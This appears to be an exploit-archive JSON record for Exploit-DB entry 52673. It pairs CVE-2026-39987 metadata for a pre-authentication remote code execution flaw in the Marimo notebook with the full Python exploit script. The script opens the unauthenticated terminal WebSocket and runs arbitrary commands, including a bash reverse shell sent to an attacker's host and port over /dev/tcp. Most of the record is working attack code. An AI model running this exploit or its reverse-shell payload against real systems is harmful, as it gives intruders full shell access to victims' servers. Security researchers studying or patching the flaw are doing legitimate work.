{"exploit":{"id":"EDB-52673","name":"Marimo 0.20.4 - Remote Code Execution (RCE)","description":"Marimo 0.20.4 - Remote Code Execution (RCE)","cves":["CVE-2026-39987"],"author":"Jason Bernier","published":"2026-09-02","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52673","path":"exploits/multiple/webapps/52673.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52673.py","vulnerabilities":[{"id":"CVE-2026-39987","state":"PUBLISHED","title":"marimo Affected by Pre-Auth Remote Code Execution via Terminal WebSocket Authentication Bypass","titleSource":"CVE Program","description":"marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-39987","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-39987"},"updatedAt":"2026-04-24T03:55:20.777Z","retrievedAt":"2026-11-25T16:13:34.020Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52673.png?v=2","url":"https://exploitbin.com/exploits/EDB-52673","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52673/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52673/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Title: Marimo  0.20.4 - RCE\nDate: August 2nd, 2026\nExploit Author: Jason Bernier\nVendor Homepage: https://marimo.io/\nSoftware Link: https://github.com/marimo-team/marimo\nVersion: <=0.20.4\nTested on: Ubuntu 24.04\nCVE: CVE-2026-39987\nAdvisory:\nhttps://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc\n\n\"\"\"\nExploit script for CVE-2026-39987, a pre-authentication Remote Code Execution (RCE) vulnerability in Marimo.\nThe exploit leverages a WebSocket endpoint to execute arbitrary commands on the target system.\nBased on the advisory located at https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc\nThis exploit will either execute a reverse shell or any command specified with the -c argument.\nhttps://github.com/jasonbernier/\n\"\"\"\n\nimport websocket\nimport argparse\nimport time\nimport sys\nimport urllib.parse\nimport ssl\nimport socket\nimport threading\nimport subprocess\nfrom typing import Optional\n\n# Global variables for reverse shell\nLHOST: Optional[str] = None\nLPORT: Optional[int] = None\nshell_socket: Optional[socket.socket] = None\nconn: Optional[socket.socket] = None\n\ndef send_reverse_command(command: str) -> str:\n    \"\"\"Send command to target and receive output\"\"\"\n    try:\n        if not conn:\n            print(\"[-] No active connection\")\n            return \"\"\n\n        conn.sendall(command.encode() + b\"\\n\")\n        time.sleep(1)\n\n        output = b\"\"\n        while True:\n            try:\n                data = conn.recv(4096)\n                if not data:\n                    break\n                output += data\n            except socket.timeout:\n                break\n\n        return output.decode('utf-8', errors='ignore')\n    except Exception as e:\n        print(f\"[-] Error sending command: {str(e)}\")\n        return \"\"\n\ndef exploit(target_url: str, command: str = None) -> None:\n    \"\"\"\n    Exploit CVE-2026-39987 to execute commands via WebSocket terminal.\n\n    Args:\n        target_url: Target URL (e.g., http://localhost:2718)\n        command: Command to execute (default: id && whoami && hostname)\n    \"\"\"\n    # Normalize URL\n    if not target_url.startswith(('http://', 'https://')):\n        target_url = f\"http://{target_url}\"\n\n    parsed = urllib.parse.urlparse(target_url)\n    if parsed.scheme not in ['http', 'https']:\n        print(f\"[-] Invalid scheme: {parsed.scheme}\")\n        sys.exit(1)\n\n    # Determine protocol based on port\n    if parsed.port == 443 or parsed.scheme == 'https':\n        ws_scheme = 'wss'\n    else:\n        ws_scheme = 'ws'\n\n    # Build WebSocket URL\n    ws_path = parsed.path.rstrip('/')\n    if ws_path.endswith('/terminal/ws'):\n        ws_path = ws_path.replace('/terminal/ws', '/terminal/ws')\n    elif '/terminal/ws' not in ws_path:\n        ws_path = f\"{ws_path}/terminal/ws\"\n\n    ws_url = f\"{ws_scheme}://{parsed.netloc}{ws_path}\"\n\n    try:\n        print(f\"[+] Connecting to {ws_url}...\")\n        # Disable SSL verification for self-signed certs\n        ws = websocket.create_connection(ws_url, sslopt={\"cert_reqs\": ssl.CERT_NONE})\n\n        # Wait for initial output to drain\n        try:\n            while True:\n                ws.settimeout(1)\n                ws.recv()\n        except:\n            pass\n\n        # Execute command\n        if command:\n            print(f\"[+] Executing reverse shell!\")\n            ws.send(command + \"\\n\")\n            time.sleep(2)\n\n            # Get output\n            output = \"\"\n            try:\n                while True:\n                    ws.settimeout(1)\n                    chunk = ws.recv()\n                    output += chunk\n            except:\n                pass\n\n            print(f\"[+] Check your netcat listener on port {LPORT}!\")\n\n\n        ws.close()\n\n    except Exception as e:\n        print(f\"[-] Error: {str(e)}\")\n        sys.exit(1)\n\n\ndef main():\n    \"\"\"Parse arguments and execute exploit.\"\"\"\n    parser = argparse.ArgumentParser(\n        description='CVE-2026-39987 Exploit for Marimo Pre-Auth RCE',\n\n    )\n    parser.add_argument(\n        '-u', '--url', required=True,\n        help='Target URL (e.g., http://localhost:2718)'\n    )\n    parser.add_argument(\n        '-c', '--command',\n        help='\tCommand to execute (default: id && whoami && hostname)'\n    )\n    parser.add_argument(\n        '--lhost',\n        help='Local host for reverse shell (requires --lport)'\n    )\n    parser.add_argument(\n        '--lport', type=int,\n        help='Local port for reverse shell (requires --lhost)'\n    )\n\n    args = parser.parse_args()\n\n    # Validate arguments\n    if (args.lhost and not args.lport) or (args.lport and not args.lhost):\n        print(\"[-] Both --lhost and --lport must be provided together\")\n        sys.exit(1)\n\n    # Set up reverse shell if specified\n    if args.lhost and args.lport:\n        global LHOST, LPORT\n        LHOST = args.lhost\n        LPORT = args.lport\n\n        # Generate reverse shell payload\n        payload = (\n            f\"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1 &' && id\"\n        )\n\n        # Send payload directly\n        exploit(args.url, payload)\n\n    else:\n        # Default command if none specified\n        default_cmd = \"id && whoami && hostname\"\n        cmd = args.command or default_cmd\n        exploit(args.url, cmd)\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"30be75a0dfd6763139a0405b63530e5351daf432d951e3d735bf37c839268c8c","bytes":5265,"fetchedAt":"2026-11-25T10:17:06.786Z","encoding":"utf-8 (display only; download retains original bytes)"}